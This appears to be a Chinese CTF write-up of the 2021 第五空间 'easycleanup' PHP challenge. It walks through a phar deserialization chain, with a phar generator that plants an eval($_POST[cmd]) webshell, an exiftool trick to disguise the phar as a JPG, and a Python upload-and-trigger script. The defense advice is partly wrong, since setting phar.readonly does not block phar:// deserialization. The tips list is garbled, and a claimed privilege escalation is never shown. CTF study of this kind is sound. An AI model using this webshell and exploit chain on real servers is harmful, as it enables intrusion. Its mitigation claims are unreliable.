2021第五空间智能安全大赛Web赛题easycleanup实战解析:从漏洞挖掘到利用的完整指南

1次阅读
没有评论

共计 1866 个字符,预计需要花费 5 分钟才能阅读完成。

image.webp

题目环境与初步探索

首先在本地用 Docker 搭建比赛环境,题目是一个 PHP 文件管理系统。首页显示上传功能,但尝试上传常规文件时返回 ”Invalid file type”。查看源码发现关键提示:

2021 第五空间智能安全大赛 Web 赛题 easycleanup 实战解析:从漏洞挖掘到利用的完整指南

// index.php 关键片段
if (isset($_FILES['file'])) {$file = $_FILES['file'];
    if ($file['size'] > 102400) die('File too large');
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (!in_array($ext, ['jpg','png'])) die('Invalid file type');
    // ...
}

代码审计突破点

1. 文件上传限制分析

通过审计发现三个限制:

  • 文件大小不超过 100KB
  • 仅允许 jpg/png 后缀
  • 存在文件内容检查(未显示代码)

绕过方案:

  1. 使用.htaccess+ 图片马组合拳(需 Apache 环境)
  2. 利用 phar 文件特性(关键突破点)

2. 隐藏的 phar 反序列化

class.php 发现危险代码:

class FileManager {
    public $log_file = 'debug.log';
    public function __destruct() {file_put_contents($this->log_file, $this->logs);
    }
}

// 存在文件操作函数
if (file_exists($_GET['file'])) {include $_GET['file'];
}

POP 链构建

  1. 通过 phar 触发__destruct
  2. 控制 log_file 实现任意文件写入
  3. 结合文件包含 getshell

完整攻击流程

步骤 1:生成恶意 phar

// genphar.php
class FileManager {public $log_file = 'shell.php'; public $logs = '<?php eval($_POST[cmd]);?>'; }
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new FileManager());
$phar->stopBuffering();

步骤 2:绕过上传限制

重命名 phar 文件并添加图片头:

exiftool '-Comment<=exp.phar' image.jpg
mv image.jpg exp.jpg

步骤 3:触发反序列化

# exploit.py
import requests

url = 'http://target/'

# 上传伪装文件
files = {'file': open('exp.jpg', 'rb')}
r = requests.post(url+'upload.php', files=files)
print(r.text)

# 触发 phar 协议
r = requests.get(url+'index.php?file=phar://./uploads/exp.jpg')
print(r.status_code)

防御与修复方案

  1. 禁用危险函数:

    ini_set('phar.readonly', '1');

  2. 严格校验文件内容:

    function is_real_image($file) {return @imagecreatefromstring(file_get_contents($file)) !== false;
    }

  3. 限制文件包含参数:

    $allow = ['header.php', 'footer.php'];
    if (!in_array($_GET['file'], $allow)) die('Forbidden');

新手避坑指南

  1. 环境配置问题:
  2. 确保 PHP 版本 >5.3(支持 phar)
  3. 关闭 phar.readonly 模式

  4. 常见错误:

  5. 忘记修改 phar 文件头
  6. 未处理文件路径问题
  7. 忽略服务器中间件差异

  8. 效率优化:

  9. 使用 Python 的 requests.Session 保持连接
  10. 批量测试文件包含点

延伸思考

  1. 如果题目禁用 phar 协议,还有哪些替代方案?
  2. 如何在不使用文件包含的情况下利用这个反序列化漏洞?
  3. 现代 PHP 框架(如 Laravel)中如何防御这类攻击?

通过这道题,我们完整实践了从信息收集→代码审计→漏洞利用→权限提升的 CTF 解题流程。建议新手用 Docker 搭建本地环境反复练习,重点掌握反序列化漏洞的挖掘和利用思路。

正文完
 0
评论(没有评论)